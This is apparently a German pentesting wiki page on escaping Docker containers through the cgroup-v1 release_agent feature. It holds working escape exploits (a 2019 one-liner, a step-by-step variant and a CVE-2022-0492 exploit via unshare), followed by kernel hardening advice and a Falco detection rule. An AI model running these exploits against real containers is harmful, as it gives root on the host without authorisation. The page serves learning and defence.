Docker release_agent cgroups escape

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Für weitere Details siehe den originalen Blogbeitrag. Dies ist nur eine Zusammenfassung:

Klassische PoC (2019)

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

Die PoC missbraucht die cgroup-v1 release_agent Funktion: Wenn die letzte Aufgabe eines cgroups, die notify_on_release=1 hat, beendet wird, führt der Kernel (in den initialen Namespaces auf dem Host) das Programm aus, dessen Pfadname in der beschreibbaren Datei release_agent gespeichert ist. Da diese Ausführung mit vollständigen Root-Rechten auf dem Host erfolgt, reicht es aus, Schreibzugriff auf die Datei zu erhalten, um aus dem Container auszubrechen.

Kurze, lesbare Anleitung

1. Bereite eine neue cgroup vor

mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp   # oder –o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release

2. Weise release_agent auf ein vom Angreifer kontrolliertes Skript auf dem Host zu

host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent

3. Lade die Payload ab

cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd

4. Trigger den Notifier

sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"   # füge uns hinzu und verlasse sofort
cat /output                                  # enthält jetzt Host-Prozesse

2022 Kernel-Sicherheitsanfälligkeit – CVE-2022-0492

Im Februar 2022 entdeckten Yiqi Sun und Kevin Wang, dass der Kernel keine Berechtigungen überprüfte, wenn ein Prozess in cgroup-v1 auf release_agent schrieb (Funktion cgroup_release_agent_write).

Effektiv konnte jeder Prozess, der eine cgroup-Hierarchie mounten konnte (z.B. über unshare -UrC), einen beliebigen Pfad zu release_agent schreiben, ohne CAP_SYS_ADMIN im initialen Benutzernamespace. In einem standardkonfigurierten, als Root laufenden Docker/Kubernetes-Container erlaubte dies:

• Privilegieneskalation zu Root auf dem Host; ↗
• Container-Ausbruch, ohne dass der Container privilegiert war.

Der Fehler wurde mit CVE-2022-0492 (CVSS 7.8 / Hoch) bewertet und in den folgenden Kernel-Versionen (und allen späteren) behoben:

• 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.

Patch-Commit: 1e85af15da28 "cgroup: Fix permission checking".

Minimaler Exploit innerhalb eines Containers

# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux  # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent;     # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'

Wenn der Kernel anfällig ist, wird die BusyBox-Binärdatei vom Host mit vollem Root-Recht ausgeführt.

Härtung & Minderung

• Kernel aktualisieren (≥ Versionen darüber). Der Patch erfordert jetzt CAP_SYS_ADMIN im initialen Benutzernamespace, um auf release_agent zu schreiben.
• Bevorzugen Sie cgroup-v2 – die einheitliche Hierarchie hat die release_agent-Funktion vollständig entfernt, wodurch diese Klasse von Ausbrüchen eliminiert wird.
• Deaktivieren Sie unprivilegierte Benutzernamespaces auf Hosts, die sie nicht benötigen:

sysctl -w kernel.unprivileged_userns_clone=0

• Zwangszugriffskontrolle: AppArmor/SELinux-Richtlinien, die mount, openat auf /sys/fs/cgroup/**/release_agent verweigern oder CAP_SYS_ADMIN entziehen, stoppen die Technik selbst auf anfälligen Kernen.
• Schreibgeschützter Bind-Mask für alle release_agent-Dateien (Palo Alto-Skriptbeispiel):

for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done

Erkennung zur Laufzeit

Falco liefert seit v0.32 eine integrierte Regel:

- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]

Die Regel wird bei jedem Schreibversuch auf */release_agent von einem Prozess innerhalb eines Containers ausgelöst, der weiterhin CAP_SYS_ADMIN besitzt.

References

• Unit 42 – CVE-2022-0492: container escape via cgroups – detaillierte Analyse und Minderungsskript.
• Sysdig Falco rule & detection guide